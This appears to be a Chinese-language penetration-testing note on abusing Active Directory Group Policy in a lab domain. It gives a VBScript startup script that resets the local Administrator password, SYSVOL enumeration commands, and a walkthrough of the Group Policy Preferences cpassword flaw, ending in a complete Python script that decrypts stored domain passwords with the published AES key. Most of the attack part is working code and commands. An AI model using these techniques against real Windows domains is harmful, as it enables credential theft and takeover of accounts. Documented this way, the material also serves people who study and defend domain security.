域组策略的利用
直接执行脚本
和本地组策略的利用类似,在组策略编辑器中添加一个启动脚本
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "123QWE!@#"
objUser.SetInfo
然后强制更新组策略
gpupdate /force
最后查找到被更新的组策略

shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i
shell for /r \\dc/sysvol %i in (*.bat) do @echo %i
GPP漏洞的利用
直接执行脚本只能在 win server 2008 上没打补丁的版本存在,以后的版本无法写入密码,因为如果使用 GPP,输入的用户密码都会以 AES-256 的方式存在 SYSVOL 下对应的 xml 文件中,但在高版本 GPP 就不能输入密码,这个洞也就无了。
现在的攻击手法就是获取 GPP 泄露的密码:
在组策略管理中新建一个 OU 组:

在这个 OU 中新建一个使用了 GPP 的本地用户密码的策略,并获取到该 GPO 的 ID

方便演示添加一个新的用户

然后根据这个 ID 到 SYSVOL 中搜索
C:\Windows\SYSVOL\sysvol\god.org\Policies\{2559CA36-02A9-4C7A-AC1F-553AC2C1A567}\Machine\Preferences\Groups

可以看到 gpptest 用户名对应的加密密码,这里用 python 脚本解密一下
#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
#
# This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
#
import sys
from Crypto.Cipher import AES
from base64 import b64decode
# Init the key
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
# Add padding to the base64 string and decode it
cpassword = "AOXP8WcaNw/4jbOKeBQ/zubT3+T5UWA8P7EFVNEh2+E"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
# Decrypt the password
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
# Print it
print o[:-ord(o[-1])].decode('utf16')